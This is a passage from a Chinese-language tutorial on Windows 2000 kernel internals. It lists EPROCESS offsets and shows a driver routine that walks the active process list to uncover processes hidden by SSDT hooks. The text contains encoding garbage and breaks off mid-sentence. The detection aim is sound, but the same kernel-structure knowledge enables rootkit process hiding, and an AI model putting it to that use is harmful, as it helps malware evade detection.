??? QuotaPeakPoolUsage[0]:???????????? 0xa8
??? QuotaPoolUsage[0]:???????????????? 0xb0
??? PagefileUsage:???????????????????? 0xb8
??? CommitCharge:?????????? ???????????0xbc
??? PeakPagefileUsage:???????????????? 0xc0
??? PeakVirtualSize:?????????????????? 0xc4
??? VirtualSize:?????????????????????? 0xc8
??? Vm:??????????????????????????????? 0xd0
??? DebugPort:???????????????????????? 0x120
??? ExceptionPort: ????????????????????0x124
??? ObjectTable:?????????????????????? 0x128
??? Token:???????????????????????????? 0x12c
??? WorkingSetLock:??????????????????? 0x130
??? WorkingSetPage:??????????????????? 0x150
??? ProcessOutswapEnabled:???????????? 0x154
??? ProcessOutswapped:???????????????? 0x155
??? AddressSpaceInitialized:?????????? 0x156
??? AddressSpaceDeleted:?????????????? 0x157
??? AddressCreationLock:?????????????? 0x158
??? ForkInProgress:??????????????????? 0x17c
??? VmOperation:??????????????????? ???0x180
??? VmOperationEvent:????????????????? 0x184
??? PageDirectoryPte:????????????????? 0x1f0
??? LastFaultCount:??????????????????? 0x18c
??? VadRoot:?????????????????????????? 0x194
??? VadHint:?????????????????????????? 0x198
??? CloneRoot:??????? ?????????????????0x19c
??? NumberOfPrivatePages:????????????? 0x1a0
??? NumberOfLockedPages:?????????????? 0x1a4
??? ForkWasSuccessful:???????????????? 0x182
??? ExitProcessCalled:???????????????? 0x1aa
??? CreateProcessReported:???????????? 0x1ab
??? SectionHandle:???????????????????? 0x1ac
??? Peb:?????????????????????????????? 0x1b0
??? SectionBaseAddress:??????????????? 0x1b4
??? QuotaBlock:??????????????????????? 0x1b8
??? LastThreadExitStatus:????????????? 0x1bc
??? WorkingSetWatch:?????????????????? 0x1c0
??? InheritedFromUniqueProcessId:????? 0x1c8
??? GrantedAccess:???????????????????? 0x1cc
??? DefaultHardErrorProcessing???????? 0x1d0
??? LdtInformation:??????????????????? 0x1d4
??? VadFreeHint:?????????????????????? 0x1d8
??? VdmObjects:????????? ??????????????0x1dc
??? DeviceMap:???????????????????????? 0x1e0
??? ImageFileName[0]:????????????????? 0x1fc
??? VmTrimFaultValue:????????????????? 0x20c
??? Win32Process:????????????????????? 0x214
Win32WindowStation:??????????????? 0x1c4
3. 什么是活動進程鏈表
EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY機構的雙向鏈表。當一個新進程建立的時候父進程負責完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個全局內核變量PsActiveProcessHead鏈表中。
在PspCreateProcess內核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
當進程結束的時候,該進程的EPROCESS結構當從活動進程鏈上摘除。(但是EPROCESS結構不一定就馬上釋放)。
在PspExitProcess內核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我們完全可以利用活動進程鏈表來對進程進行枚舉。
4.?進程枚舉檢測Hook SSDT隱藏的進程。
??? 事實上Nactive API ZwQuerySystemInformation 對進程查詢也是找到活動進程鏈表頭,然后遍歷活動進程鏈。最后把每一個EPROCESS中包含的基本信息返回(包括進程ID名字等)。所以用遍歷活動進程鏈表的辦法能有效的把Hook SSDT進行隱藏的進程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe 導出來,所以我們可以利用硬編碼的辦法,來解決這個問題。利用內核調試器livekd查得PsActiveProcessHead的地址為: 0x8046e460.(在2000 sp4中得到的值)
kd> dd PsActiveProcessHead L 2
dd PsActiveProcessHead L 2
8046e460?81829780 ff2f4c80
PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;
void DisplayList()
{
PLIST_ENTRY List = PsActiveProcessHead->Blink;
while( List != PsActiveProcessHead )
{
??????? char* name = ((char*)List-0xa0)+0x1fc;
??????? DbgPrint("name = %s\n",name);
??????? List=List->Blink;??????????????
}
}
首先把List指向表頭后的第一個元素。然后減去0xa0,因為這個時候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結構,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進程的名字信息,所以再加上0x1fc得到進程名字,并且在Dbgview中打印出來。利用Hook SSDT隱藏的進程很容易就被查出來了。
5.?解決硬編碼問題。
在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統中這值不一樣。在不同的SP版本中這個值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個PsActiveProcessHead的硬編碼的問題。
??? ntoskrnl.exe導出的PsInitialSystemProcess 是一個指向system進程的EPROCESS。這個結構成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.
kd> dd PsInitialSystemProcess L 1
dd PsInitialSystemProcess L 1
8046e450?818296e0
kd> !process 818296e0 0
!process 818296e0 0
PROCESS 818296e0?SessionId: 0?Cid: 0008??? Peb: 00000000?ParentCid: 0000
??? DirBase: 00030000?ObjectTable: 8185d148?TableSize: 141.
Image: System
可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.
kd> dd 818296e0+0xa0 L 2
dd 818296e0+0xa0 L 2
81829780?814d1a00 8046e460
上面又可以看出S
-
為了您方便瀏覽更多的內核通知鏈網內容,請訪問內核通知鏈
